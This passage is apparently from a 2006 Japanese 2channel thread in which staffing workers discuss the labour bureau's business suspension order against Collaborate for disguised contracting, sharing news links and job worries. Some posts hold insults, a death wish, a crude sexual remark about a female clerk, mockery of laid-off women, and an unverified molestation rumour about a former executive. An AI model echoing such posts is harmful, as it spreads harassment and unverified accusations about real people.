実際、いつから処分開始かな…?

124 :名無しさん@そうだ登録へいこう:2006/10/02(月) 12:06:38 ID:KZYDtPOX0
>>121
先週末の報道によると
『週明けにも処分が…』と載ってたから
今週中ですよ。だから新人2人はセーフ。

125 :名無しさん@そうだ登録へいこう:2006/10/02(月) 12:07:46 ID:JErwJK0j0
111さん 確かにその気持ち分る。
慰め合いとかじゃなくて、皆出来る事なら転職したいと思ってる。
だっていずれにせよ、人間やってる以上仕事せなアカンもんな。
同じヤルならA:汚い仕事だが金はいい B:給料は平凡だが自分のやりたい職
C:給料も平凡・やりたい仕事でもない・でも方針がコラボみたいにコロコロ変わらない安定した会社。
とこの3点だろう。
オレは40代だけど何度も何度も転職試験頑張ったよ。当時鯛アップがやっちまった時に。
モチベーション管理に疲れてしまう事もあったが、資格もないオッサンやけどやれば何とかなりましたよ。
今では転職して1年強。満足してます。愚痴もいいさ、でもさ転職活動頑張ってみようよ。
スレ見てるとココはヤバイよ。

126 :名無しさん@そうだ登録へいこう:2006/10/02(月) 12:08:20 ID:YY+iU6ByO
今日から大阪労働局主導の近畿地区(大阪、京都、奈良、兵庫、和歌山の労働局)偽装請負一掃キャンペーンやるみたいだから第一号になるんではないかい。ただ同業他社も他人事じゃないから移管も難しいとちゃうか?自分のとこだけで精一杯になるっしょ。

127 :名無しさん@そうだ登録へいこう:2006/10/02(月) 12:21:16 ID:NDLmxjadP
ここ読んでて、景気回復したのは、銀行だけと確信しますた。


128 :名無しさん@そうだ登録へいこう:2006/10/02(月) 12:23:00 ID:z/s2k8KnO
>>127
あと、大企業も

129 :名無しさん@そうだ登録へいこう:2006/10/02(月) 12:23:08 ID:CspGS9Wh0
コラボ含め複数の派遣会社が入ってる大企業では、
他の派遣会社が大募集はじめたね・・・・(先週あたりから)
どこも増員予定ないのに30〜50人の募集かけたり。
これ間違いなくコラボの穴埋めする連中だな。

正社員も作業マニュアル作りなおしたり、出番の再調整してた。
報道より一足早く伝わってたのかもね。


130 :名無しさん@そうだ登録へいこう:2006/10/02(月) 12:25:49 ID:ew3HDYsD0
>>129
事実とすればコラボ解約の前段階と取れるわけだが・・・・

131 :名無しさん@そうだ登録へいこう:2006/10/02(月) 13:03:28 ID:ZUyzvFcAO
Wテックにはきよつけろ!

132 :名無しさん@そうだ登録へいこう:2006/10/02(月) 13:06:23 ID:CspGS9Wh0
>>130
さすがに解約まで行かんだろ。
コラボは二週間ほど新規募集できんから、その間に辞められると
正社員や他社人員で埋めるしかないわな。

専属ラインなら混成になるわな、もとから混成ならシェアが減るだけ。

133 :名無しさん@そうだ登録へいこう:2006/10/02(月) 14:24:59 ID:5ZJo5aCs0
全部、日研にあげちゃったら。
管理者はいらないけど。

134 :名無しさん@そうだ登録へいこう:2006/10/02(月) 17:10:04 ID:NNF5uCyMO
先程、うちの事業所で今回の件に関しての説明会がありました。やはり、現場には大した影響はないようです。コラボにダメージを与えるには処分中に大量退職するしかないですね。補充する事ができない為、他の派遣会社の社員を入れるかも…

135 :あたし:2006/10/02(月) 17:14:09 ID:SguaB9QfO
山口県ゎどーなるの??早く潰れたらいーのにー!

136 :名無しさん@そうだ登録へいこう:2006/10/02(月) 17:19:29 ID:RZwtlHCdO
ウチなんざ何の説明もナシ
事務所に聞きに行ったら
「現場に影響出るようならこっちから話してやるから、不用意に人聞きの悪い話を口にするな」
と一喝されてハイ終了〜☆
いいぢゃん、説明くらい減るもんでもナシにヾ(`Д´メ)ノ

137 :名無しさん@そうだ登録へいこう:2006/10/02(月) 17:21:59 ID:zl8aq6qh0
二本松の時給がいいところで働きたいんですけど

138 :シス:2006/10/02(月) 17:29:30 ID:NNF5uCyMO
現場で働いているコラボの契約社員にはほとんど影響ないようです。ただ、業務停止処分の期間中に欠員が出た場合、コラボはその欠員の補充が出来ない為、派遣先の企業がコラボではない他の派遣会社で欠員補充する可能性が高くなると思われます。

139 :シス:2006/10/02(月) 17:37:46 ID:NNF5uCyMO
136さん、説明もしてくれないんですか。じゃあ、うちは説明会があるだけ少しはマシな方なんですかね…今回の件に関しての対応も事業所によってかなりの温度差があるようですね。

140 :名無しさん@そうだ登録へいこう:2006/10/02(月) 17:49:05 ID:ew3HDYsD0
>>138が一番正確な説明かな。

ちなみに今後経営サイドがきちんと改善をしていかないと今度は「廃止命令」になってしまう可能性が大きい。
こうなると現場レベルでも何かしらの影響が出る(解雇・栗外移籍・別子会社へ移管など)。

141 :名無しさん@そうだ登録へいこう:2006/10/02(月) 18:22:05 ID:vXdH3xZX0
>>136
上の奴らは、いつもギリギリにならないと説明しないね
でも今回の騒ぎでみんな不安になってると思うから
水曜日か金曜日の仕事終了後に集まるように言われるかもよ
新聞に書かれて不安にらるのは普通だと思う、あなたみたいに
聞きに行くのはおかしくないと思うよ。


142 :名無しさん@そうだ登録へいこう:2006/10/02(月) 18:23:56 ID:/vuiPvmHO
こんばんは自分の所でも説明がありました給料は変わりないと言ってましたでも自分はまだなっとくいかないことがありますこのこと皆はどう思いますか

143 :名無しさん@そうだ登録へいこう:2006/10/02(月) 18:25:14 ID:vXdH3xZX0
>>141
誤>新聞に書かれて不安にらるのは普通だと思う
訂正>新聞にあんな風に書かれてたら不安になるのは普通だと思う


144 :名無しさん@そうだ登録へいこう:2006/10/02(月) 18:38:39 ID:CvyxsuoyO
研修のとき、偽装請負してますとお偉い方が法を犯しているといってた。その時はじめて知った。悪いことしたらいけないね!


145 :シス:2006/10/02(月) 19:26:02 ID:NNF5uCyMO
今後どうなるのか…不安になる気持ちも分かりますが、所詮はボッタ栗スタルグループのコラボレート!!派遣会社はいくらでもありますよ。

146 :名無しさん@そうだ登録へいこう:2006/10/02(月) 19:33:32 ID:SF/8DyHYO
へぇ〜説明会した事業所あるんだ。親切だね。
うちは何も無かったよ。朝、現場に事務所の人間来たけどいつものように挨拶して廻るだけだった。
というか自分の会社が事業停止命令くらってるなんて事自体みんな知らないんじゃないかと。
自分も金曜の夜勤休憩中に携帯から2chのニー速+で知ったんだから。

147 :名無しさん@そうだ登録へいこう:2006/10/02(月) 20:45:49 ID:uNN3OWZr0
説明がないのは、正式な処分が決まってないでしょ?
そもそも、今の段階で何を説明できるの?
憶測でしか話せないじゃん。

148 :名無しさん@そうだ登録へいこう:2006/10/02(月) 20:50:15 ID:SqPxBpKiO
とりあえず潰れろ
花男の道明寺財閥の権力があれば潰してやるんだが
潰れろ

149 :名無しさん@そうだ登録へいこう:2006/10/02(月) 20:50:17 ID:NCDjfdIu0
アクティスと何が合併したんだっけここ

150 :名無しさん@そうだ登録へいこう:2006/10/02(月) 20:57:17 ID:VGUKVEyk0
厚生労働省

151 :名無しさん@そうだ登録へいこう:2006/10/02(月) 20:58:27 ID:oDLlCvtdO
とにかく、工場で働いているライン工員なんて、どうにも救われないクズばかりだよ。

152 :名無しさん@そうだ登録へいこう:2006/10/02(月) 20:59:56 ID:4il2HNiwO
>>111
全く持ってないわけではないんだろ?講習だけ、もしくは+簡単な試験のみでとれるのもあるんだから。

153 :名無しさん@そうだ登録へいこう:2006/10/02(月) 21:03:04 ID:9cNyKvjx0
>>151
うるせー、ニートは黙ってろ、死ね

154 :名無しさん@そうだ登録へいこう:2006/10/02(月) 21:08:32 ID:Onedtm7P0
俺はリフォームの会社に転職したよ。
最近は契約取れないけど、先々月は手取り100いったよ。
手っ取り早く稼ぐには一番いい仕事だからリフォームの営業は1回やってみたほうがいいと思うよ。

155 :名無しさん@そうだ登録へいこう:2006/10/02(月) 21:26:48 ID:vXdH3xZX0
>>149
リライアンスじゃない

156 :名無しさん@そうだ登録へいこう:2006/10/02(月) 21:45:57 ID:2dBL614tO
>>149 ダイテックでしょ

157 :名無しさん@そうだ登録へいこう:2006/10/02(月) 22:04:11 ID:vXdH3xZX0
2005/05/21(土) 20:34:01 ID:lEZM9+uA0
                           平成17年5月吉日
従業員各位
                社名変更のお知らせ
 
毎日の業務お疲れ様です
 さて、当社ではこの度下記クリスタルグループ会社6社間での合併を行うに伴い
7月1日より社名を株式会社コラボへと改めさせていただきます。
今後は新たな体制のもと、社員一同会社の発展を期して努力を重ねてまいりますので、
皆様にもご協力いただけますようお願い申し上げます。

                          株式会社  アクティス
                          代表取締役 赤澤 英紀

                 記
社名変更 (旧社名)
          株式会社 ダイテック        6月1日

          株式会社 アクティス
          株式会社 タイアップ
          株式会社 リライアンス       7月1日
          株式会社 クリスタルコントラクト
          株式会社 クリスタルプロトラッド
                                 以上
 事務所の机にあったから勝手に持ってきたよ


158 :名無しさん@そうだ登録へいこう:2006/10/02(月) 22:07:01 ID:IpsNhOx/0
タイアップとかダイテックとか(w

159 :名無しさん@そうだ登録へいこう:2006/10/02(月) 22:21:38 ID:VGUKVEyk0
つ ちびすけのHP>(株)クリスタル系列 社名変更

160 :名無しさん@そうだ登録へいこう:2006/10/02(月) 22:54:21 ID:CvyxsuoyO
そいえばMixiにコラボのコミュニティがあったょ

161 :名無しさん@そうだ登録へいこう:2006/10/02(月) 23:05:38 ID:NMUXwgz8O
コラボ、最近社名変更したんじゃないのか?
「技能育成センター」
って社名に。ダチがゆーてたよ、その社名の下に小さく「元コラボレート」って記載してたと。真実はどーなんだ?真実知ってる者、情報キボンヌ。

162 :名無しさん@そうだ登録へいこう:2006/10/02(月) 23:45:22 ID:W6nNkZEqO
コラボから分社したのが技能育成センターじゃなかった?

163 :名無しさん@そうだ登録へいこう:2006/10/03(火) 00:12:16 ID:v7NDHRE1O
八王子のトッパンフォームズで働いてる人おる?

嘘は無しの方向で

本当に働いてるかどうか
分からないので


軽くクイズを出します

1グループと
2グループの直長の名前を言ってください!

164 :名無しさん@そうだ登録へいこう:2006/10/03(火) 00:30:25 ID:LbBi0H5h0
>>163
そんなん誰が釣られるねんww

165 :名無しさん@そうだ登録へいこう:2006/10/03(火) 00:30:36 ID:PKVKPyW10
>>1


166 :名無しさん@そうだ登録へいこう:2006/10/03(火) 00:40:25 ID:sP7+B11gO
日立営は荒れてるな
水面下で色々動きがある

まぁ何処も一緒かW

167 :名無しさん@そうだ登録へいこう:2006/10/03(火) 02:00:50 ID:wLLz7hWo0
現場に影響ない??あるよ
業務停止になる様な会社をコンプラ遵守の大手メーカーがこの先も継続するかな??
メーカー側は色々考えてるよ!まぁ解約もこの先考えるだろうし。現場スタッフも行政処分受ける会社に所属してたくねぇだろ。


168 :名無しさん@そうだ登録へいこう:2006/10/03(火) 04:24:25 ID:QIReCkwsO
>>151
その気持ちすげー分かるわ!いい年して社会の常識や大人のマナーもわからないゴミみたいな奴ばっかりだからな!結局人間的に問題があって同じ会社にずっといられない奴って派遣を渡り歩くいてくしかないんだろうな。スゲー惨め

169 :名無しさん@そうだ登録へいこう:2006/10/03(火) 05:16:38 ID:UOLQLOfcO
事業所の事務員、解約前にイッパツ中出しさせろ!

170 :名無しさん@そうだ登録へいこう:2006/10/03(火) 06:25:25 ID:rUrMsAsS0
コンプライアンスも何もない

タイアップ等からコラボになったときも
付き合いやめてないだろ

コラボが何かなっても絶対、100%そのまんまだよ

171 :名無しさん@そうだ登録へいこう:2006/10/03(火) 07:18:05 ID:Ed0HUcfYO
どうでもええから早く潰れろ


172 :名無しさん@そうだ登録へいこう:2006/10/03(火) 07:26:22 ID:6552G+TH0
確かにタオアップからコラボになった時はあまり変化は無かったが
今回は厳しい行政処分。メーカーも付き合い考えるよ。
最も、メーカーも悪いと思うが。

173 :名無しさん@そうだ登録へいこう:2006/10/03(火) 07:27:30 ID:6552G+TH0
タイアップでした。入力ミス(笑)

174 :名無しさん@そうだ登録へいこう:2006/10/03(火) 08:08:43 ID:IK48rkRKO
>>101
・リストラ時、泣きそうな演技を事務所に見せなければならない


175 :名無しさん@そうだ登録へいこう:2006/10/03(火) 08:11:08 ID:IK48rkRKO
>>1グループ
Aクレープ
>>2グループの直長
山田 区例府

176 :名無しさん@そうだ登録へいこう:2006/10/03(火) 09:30:17 ID:FWtk8KN+0
うだうだ言ってねぇで 本社からの通達待ちゃ〜いいじゃん
そんな事のために、2〜3日の間に170以上のスレ使ってビックリだわ。

177 :名無しさん@そうだ登録へいこう:2006/10/03(火) 09:38:01 ID:R4TNrGTe0
「コレボレート社員(派遣)へ、一部の新聞などで報道されている今回の〜・・・デンデン」
なんて内容の紙が貼ってあったのでココへ詳細を見に来ました。
今度は何してこんな事になったのでしょう?過去スレ見れないので解らないです。
ただでさえ入れ替わり激しい所なのに、人材補充出来ないって本気で困りますよ。・・・orz


178 :名無しさん@そうだ登録へいこう:2006/10/03(火) 09:51:08 ID:i95fVGMB0
>>176
ぬるいな、前スレからカウントすれば500以上は確実に使っているぞ

まあ正式発令をまとうぜ。サイトにも掲載するだろうし。
「処分検討って報道」の段階で内部的にはもう処分の方針は決まっていて、
あとは労働局内部の手続きの問題だから。

179 :名無しさん@そうだ登録へいこう:2006/10/03(火) 10:17:27 ID:p3sXEhm10
今までだって通達を守った事ないんだから今回も守る訳がないだろ
それがコ○ボだから

180 :名無しさん@そうだ登録へいこう:2006/10/03(火) 10:38:35 ID:ul5IE3Rr0
朝日とかでも書かれているが、2番目に重い罰だそうだ。
1番重いのは派遣会社に課すものだから、今回のに懲りなければもう怖いものはないということだ。
がんがれお永年偽装請負DQN会社w


181 :名無しさん@そうだ登録へいこう:2006/10/03(火) 10:58:36 ID:zeBIilWZ0
昨日コラボ辞めてニートになってみた

なんか辞めたんだなっていう気がしねぇ。。。

182 :名無しさん@そうだ登録へいこう:2006/10/03(火) 11:11:36 ID:EGvMnCBM0
>>181
おう仲間!俺も先月末に辞めてニートってるぜ
9月分の給料入るかなー

183 :名無しさん@そうだ登録へいこう:2006/10/03(火) 11:33:51 ID:D4Vj94lJ0
>>182
>9月分の給料入るかなー
現実問題それが一番怖いw
おいらもやめようかと思ってるが

184 :名無しさん@そうだ登録へいこう:2006/10/03(火) 11:59:55 ID:9Q3jnhCPO
雇用保険でマターリしますわ

185 :名無しさん@そうだ登録へいこう:2006/10/03(火) 12:02:05 ID:gtIwdtD30
やった!

ざまーみろ!

てか、こいつらをのさばらせた「派遣法」を設定した戦犯は誰よ?(´・ω・`)

186 :名無しさん@そうだ登録へいこう:2006/10/03(火) 12:16:27 ID:9Q3jnhCPO
>>185
戦犯は小泉

187 :名無しさん@そうだ登録へいこう:2006/10/03(火) 12:17:32 ID:BRQT4EBTO
結局どうなんの?派遣されてる連中は

188 :名無しさん@そうだ登録へいこう:2006/10/03(火) 12:18:08 ID:FWtk8KN+0
しかしよーひでー会社だよな。
そもそも現場で働く奴がいて、採用する奴がいて、営業する奴がいて
会社が成り立つわけじゃん。
ここまで離職されてもまだアホやってる。
そんなに給料良くないんだから皆辞めちまうぜ。
皆一斉に辞めたら本社はどうするつもりかねぇ

189 :名無しさん@そうだ登録へいこう:2006/10/03(火) 12:24:57 ID:i95fVGMB0
>>185
設定されたのは中曽根時代、そしてそれを容認した当時の社会党(バックの労組が制定を望んでいた)

>>186は脊髄反射ですなw

>>188
去年の今頃、「コラボ本社」がそういう状態だったと過去スレにはある

190 :名無しさん@そうだ登録へいこう:2006/10/03(火) 12:39:53 ID:XMbW3XXU0
派遣法が改正及びバックアップされたからこそコラボが業務停止になったのでは?w


191 :sage:2006/10/03(火) 15:03:12 ID:clHEWliV0
クリスタルの前社長って、捕まってたよね。

192 :名無しさん@そうだ登録へいこう:2006/10/03(火) 15:39:51 ID:34kaCwINO
おまえらもう少し考えろ別に現場の人間は関係ないんだから会社は好きでこんなこんなことしてるんじゃないからちゃんと正社員の人も給料もらってるよニ週間たてば普通にもどるんだからそんな心配するな会社もちゃんとやってるんだから

193 :名無しさん@そうだ登録へいこう:2006/10/03(火) 15:40:40 ID:i95fVGMB0
>>191
それはるか昔の子会社の社長では?
しかも容疑がわいせつだったはず

例の違法が許されるコピペのせいでぐぐってもひっかからない・・・・

194 :名無しさん@そうだ登録へいこう:2006/10/03(火) 15:58:02 ID:bZVn34RC0
>>193
ざっつらいと、○神くんね。
17サイの女子高生のシ○ーツの中に手を突っ込んだしと。
しかも、電車の中で、ステキ。
大○くんは今、ワールドで部長してる。


195 :名無しさん@そうだ登録へいこう:2006/10/03(火) 16:09:20 ID:qLGcIlsd0
偽装請負、コラボ社に事業停止命令…大阪労働局

 労働者派遣・業務請負大手「コラボレート」(本社・大阪市北区)の偽装請負
問題で、大阪労働局は3日午後、同社に対し労働者派遣法に基づき事業停止
命令を出す。同社の関係者を局に呼び、命令書を手渡す。全国の全84事業
所が対象で、停止期間は数週間程度になる見通し。偽装請負での事業停止
命令は全国初となる。

 同労働局は、命令に合わせ、全事業所での自主点検と改善計画の提出も
求める方針。

以下
http://osaka.yomiuri.co.jp/news/20061003p102.htm

196 :名無しさん@そうだ登録へいこう:2006/10/03(火) 16:26:14 ID:EZlVeWK40
O阪労働局も頼りないな。
決裁権もない子会社を事業停止したって意味無し!
親会社の栗を事業停止しないとな。





197 :名無しさん@そうだ登録へいこう:2006/10/03(火) 16:28:20 ID:WmyFKN780
「10/20付で全取引先を派遣契約に切り替えろ!
拒むユーザーは遠慮なく解約すべし!」
との常務命令・・・・
客を何だと思ってんだ??
誰のおかげで飯食えてると思ってんの??
管理者含め、従業員の生活はどう考えてんの??
そんな簡単に解約しろだなんて。

さ〜て解約しに行って来るか〜


198 :名無しさん@そうだ登録へいこう:2006/10/03(火) 16:44:09 ID:AIHYgTdg0
偽装請負:大阪の製造請負業者を事業停止へ
ttp://www.mainichi-msn.co.jp/shakai/jiken/news/20061003k0000e040060000c.html

これどこ?同じ?

199 :名無しさん@そうだ登録へいこう:2006/10/03(火) 16:48:02 ID:TEdsd0/s0

誰だよ。神聖な「がむ」にスレ立てたのは?

http://018.gamushara.net/bbs/kabu/html/2006020801_01_0b.html

200 :名無しさん@そうだ登録へいこう:2006/10/03(火) 16:51:54 ID:i95fVGMB0
>>198
同じ。名指しができないのは毎日が訴訟中だから。

記事内容からして厚労省の大臣会見に一両日中に載るな
ttp://www.mhlw.go.jp/kaiken/index.html

201 :名無しさん@そうだ登録へいこう:2006/10/03(火) 16:54:36 ID:p3sXEhm10
コラボのスレの速さにカキ子達ががついてこれないなんて

202 :名無しさん@そうだ登録へいこう:2006/10/03(火) 16:58:48 ID:BNVFxTgS0
実際、労働局からの改善指導の後、メーカーに対し派遣契約への切替を求めて回った。ところが、メーカーはこれを拒否し時間切れで労働局が動いた。
メーカーはおとがめなしかよ!コラボもわるいが、メーカーは最悪だと思われ

203 :シス:2006/10/03(火) 17:14:01 ID:frf81z+YO
業務停止期間が数週間では甘くない?せめて1ヶ月くらいの処分じゃないと…

204 :名無しさん@そうだ登録へいこう:2006/10/03(火) 17:18:40 ID:i95fVGMB0
>>203
大阪労働局、派遣・業務請負大手に事業停止命令
ttp://www.yomiuri.co.jp/national/news/20061003i411.htm

によると姫路営業所は1ヶ月になってるな。

205 :名無しさん@そうだ登録へいこう:2006/10/03(火) 17:25:49 ID:BNVFxTgS0
二週間の停止か…。
しかし業務停止をうけた事実は大きいな。これを機会に解約する企業はが続々でるだろう。痛いよこれは

206 :名無しさん@そうだ登録へいこう:2006/10/03(火) 17:29:54 ID:AWtmjWK/0
業務停止おめでと!!!!
早く偽装請負のとこ全て解約しなさい!!
み〜んな貰っちゃうもんね!!

207 :名無しさん@そうだ登録へいこう:2006/10/03(火) 17:31:48 ID:i95fVGMB0
産経まで・・・キチンと栗名指ししている!(ちなみに東京本社サイトはまだ)

偽装請負、初の事業停止へ 大阪労働局命令 大手人材派遣業者に
ttp://headlines.yahoo.co.jp/hl?a=20061003-00000020-san-soci
偽装請負、大阪の大手人材派遣に初の事業停止命令へ 大阪労働局
ttp://www.sankei-kansai.com/01_syakai/sya100307.htm

208 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:00:52 ID:tpLimptRO
面接受けたのに返事来ないよ('A`)

209 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:13:59 ID:lNEvPkZO0
今帰ってきてニュースみた。

よしっ! 業務停止ケテーイだ。

210 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:17:05 ID:WmyFKN780
【大阪の業務請負大手に事業停止命令、偽装請負で初めて】
 
 労働者派遣・業務請負大手「コラボレート」(本社・大阪市北区)の偽装請負問題で、大阪労働局は3日、同社に対し労働者派遣法に基づき事業停止命令を出した。

 停止期間は姫路営業所が1か月、他の83事業所が2週間。併せて、再発防止などを求める事業改善命令も出した。

 同労働局によると、同社姫路営業所は兵庫県加古川市のメーカー工場との間で請負契約を交わしながら、8月時点で、実際の業務は派遣事業の形態で行われていた。しかし、同社は5月、こうした事実と異なる報告を提出した。

 また、同社の前身の1つ「タイアップ」が昨年8月、東京労働局に出した改善報告書では、「適正な請負及び適正な派遣を事業として行っている」とされていたが、実効ある体制が確立されていなかった。

(2006年10月3日17時23分 読売新聞)


211 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:18:28 ID:34kaCwINO
おまえらそんなにたのしいか

212 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:27:08 ID:GVOLz3VGO
なぜ姫路だけ一ヶ月?

213 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:27:42 ID:0opypq57O
全国ニュース報道おめ!!

214 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:29:04 ID:d+JmbNWn0
お前らも苦しんだなあ

215 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:33:46 ID:du+QnPV+0

請負を派遣に切り替えるように交渉し
コンプラ遵守を考えてくれないメーカーは解約。
大手って言うくらいの企業が偽装請負を使ってて、大手と言えるのか?
そんな取引先は管理者ごと他社へくれてやれ!
社会保険に加入しない現場スタッフは解雇。
納税は国民の義務だぞ!

216 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:47:04 ID:0opypq57O
あれ?現場で説明ないけど休みにならないの?

217 :名無しさん@そうだ登録へいこう:2006/10/03(火) 18:47:28 ID:9Q3jnhCPO
>>215
社会保険料は税金ではない罠

218 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:02:46 ID:i95fVGMB0
共同もきましたね

偽装請負で事業停止命令 大阪の会社に初、労働局
ttp://www.tokyo-np.co.jp/flash/2006100301000657.html

219 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:05:54 ID:ucnJJ21e0
1年余りで3回も指導受けてたのに。完全になめきってるじゃん。
3回の指導も無視してるのだから解散させないといけないね。
本体から解体させたほうがいいだろ。誰も困らないと思うし。

まともな人間で迷惑を被る者はいないだろうな。

220 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:14:05 ID:0opypq57O
なぁ現場は休みにならねぇの?
管理社員は営業所には入るんだよね?
現場社員だけ働かせるなんて我慢ならん、いつもの事だけど。

221 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:16:40 ID:NM4DOT0/0
>>216
現場は通常通りですよ。
ただ、今後どうなるかは分かりません。

222 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:22:55 ID:Ed0HUcfYO
ざまぁみろ!

223 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:26:37 ID:4wg5ESfy0
NHKのニュースでもやってますた。

224 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:30:21 ID:CpKcB9C80
コラボレートって、うんこみたいな会社がたくさん集まって出来た
偽装派遣専門の会社なんですね。
こうゆう労働者をバカにした会社は倒産してくれ!

225 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:32:57 ID:5sg6YzkF0
倒産は時間の問題ですな


226 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:36:28 ID:i95fVGMB0
TBSも名指しですかw

偽装請負、派遣会社に事業停止命令
ttp://news.tbs.co.jp/top_news/top_news3393953.html

227 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:44:06 ID:0opypq57O
>>221
Thanks
明日も仕事か

228 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:52:31 ID:Ed0HUcfYO
潰れてまえ潰れてまえ!
数々の不正行為を行い続けた罰が今やっと来たんかな〜♪
ざまぁみろボケ!
はよ潰れろコラボレートさんよ!

229 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:52:39 ID:2L4U1HQY0
コラボが悪いって言うか松下が悪いんじゃないの?
ていうか姫路にも松下の工場があるとは知らなかった。

230 :名無しさん@そうだ登録へいこう:2006/10/03(火) 19:53:48 ID:UOLQLOfcO
かなりの事業縮小。 リストラ断行。職を失い溢れる労働者たち。
女工員は売春婦に男工員はホームレスに。 楽しすぎる。笑える。

231 :名無しさん@そうだ登録へいこう:2006/10/03(火) 20:19:06 ID:Ed0HUcfYO
何でもええから潰れろ!
偽装請負やなんやで不当な利益を得ていたのは犯罪!
時給も下がるって聞いたし労働者は減少必至だろ。
みんなで潰れろ唱和しましょうや
コラボ勤めの方、辞めてしまいなさい
コラボを滅亡へと導きなさい


232 :名無しさん@そうだ登録へいこう:2006/10/03(火) 20:34:11 ID:XMbW3XXU0
同業他社もあわくってんなw
持ってったとこ追跡調査かかるし。

233 :名無しさん@そうだ登録へいこう:2006/10/03(火) 20:35:31 ID:PC6aduaM0
231〈
お前何も知らないんだなw

234 :名無しさん@そうだ登録へいこう:2006/10/03(火) 20:37:24 ID:GtCRAVVIO
なぜコラボだけ
松下に派遣してる他の請負会社は?

235 :名無しさん@そうだ登録へいこう:2006/10/03(火) 20:43:28 ID:8+OsDR7a0
最近コラボに入って仕事覚えてる最中なんだが・・・
なんかもう豚や牛と一緒に加工されて食肉として出荷されたい気分だよ。
売れ残ったら肥料にでもしてちょw

236 :名無しさん@そうだ登録へいこう:2006/10/03(火) 20:51:03 ID:wvRUg1DQ0
姫路営業所から、技能育成センターに移動させられた人、いますか?

237 :名無しさん@そうだ登録へいこう:2006/10/03(火) 20:53:26 ID:omzsVPJQ0
コラボハジマタ\(^。^)/

238 :名無しさん@そうだ登録へいこう:2006/10/03(火) 21:11:53 ID:aNZZvhBi0
俺ら(現場スタッフ)には今後も皆には支障がない。合併する前の会社の不祥事を引きずった結果だから大丈夫。。
と言ってたけど。。管理が他人や他の事業所のせいにする会社だから業務停止になったんでしょ!!
素直に自ら動かず改善できなかった結果。と素直に説明責任を果たして欲しい。
影響がない?メーカーが解約方向になったら、俺らは?今は大丈夫だけど数ヶ月後は??
どうすればいいの?

239 :名無しさん@そうだ登録へいこう:2006/10/03(火) 21:14:29 ID:0opypq57O
ニュースで元社員、現在別の派遣社員が偉そうに講釈たれてたけど、おまいらも同じ穴のムジナだろうが!

240 :名無しさん@そうだ登録へいこう:2006/10/03(火) 21:18:34 ID:8+OsDR7a0
ハローワークがあるじゃないか!

241 :名無しさん@そうだ登録へいこう:2006/10/03(火) 21:19:37 ID:7/gU7CPcO
松下って変則シフトの20日未満勤務? なら残業&深夜手当ては無いってことかな。

242 :名無しさん@そうだ登録へいこう:2006/10/03(火) 21:40:41 ID:BfXidEar0
この犯罪企業の力借りてる松下とか2週間生産できなくなるってこと?


243 :名無しさん@そうだ登録へいこう:2006/10/03(火) 21:43:08 ID:DCVgKycN0
飯田の太陽電池工場...

244 :名無しさん@そうだ登録へいこう:2006/10/03(火) 21:54:02 ID:BfXidEar0
まぁオレもコラボレートに所属して松下電器仙台工場で働いてたんだけどね。
何人かは同じコラボ所属で仕事してるのに違うクリ系企業の名札つけてる奴がいて、
聞くとオレ等よりずっと安い給料で働かされていた。
あれはたぶん二重派遣やらされてたんだろうなぁ。
県外から来て寮住まいという逃げられない不安定な人間からはとことん搾取する。
酷いとこだと思ったよ。

245 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:00:14 ID:MY0wQmz00
コラボがどうこうっつーか、これで
日本の製造業の企業が「偽装請負」業者を使わなくなるかというとそうでもない。
つかさ、コラボが悪いみたいな報道のされ方されてるが
偽装請負として使う企業側が一番悪いのにな。

これで偽装請負が撲滅したとしたら、派遣じゃ2年しか雇えないから
外国人労働力か日本にある工場は海外いくな。


246 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:01:26 ID:MY0wQmz00
なんかいっけん良さそうなニュースに見えるけど、
こういう工場で働いてる人にとってはなんのメリットもないんだよな。
こういう工場で働いてる人が正社員としてどこかで働けるような
社会にしてくれよ。

247 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:08:49 ID:2Ks0cF8m0
>>238
>メーカーが解約方向になったら、俺らは?
>今は大丈夫だけど数ヶ月後は??
>どうすればいいの?

いい大人が、何を泣き言言ってるんだ?
他の派遣会社に移ればいいだけのことじゃねーか
何度も行政指導食らってる会社に将来預けてるんじゃ、
一緒に沈んでもしょうがねーだろ?
自分の身は自分で守れよ

248 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:12:18 ID:Ci+HVWGx0
派遣社員、「期間超え」監視強化・厚生労働省
ttp://bizplus.nikkei.co.jp/genre/top/index.cfm?i=2006100209846b1


249 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:12:42 ID:MY0wQmz00
というか、実際今まで2ちゃんで危ない危ないっていう
レス投稿し続けられてきたけど、今回の「事業停止」は
2ちゃんとかネットみてない連中もヤバイって危機感もったよ。
さすが全国紙やテレビでの大々的な報道は違うな。


250 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:15:42 ID:MY0wQmz00
>>248のニュースはヒドイよな。
正社員やら直接雇用なんかなるわけなく、契約切られて
また新しい派遣入れるだけじゃん。
なんで1年なんて区切る法律作る必要あるんだ?
働きたいのに働けないなんて。

低賃金で企業が労働者をこき使わないように、とかいうんなら大きなお世話だよな。
正社員での働き口がないから、正社員で就職できないから
みんな「偽装請負」やってる業者で働いてるんじゃないか!!!!

251 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:17:06 ID:zMd8NWIM0
俺なんか、
コーテック、クリスタルプロトラッド、コラボレート、
そして現在は技能育成センターな訳なんですが、
影響ある?

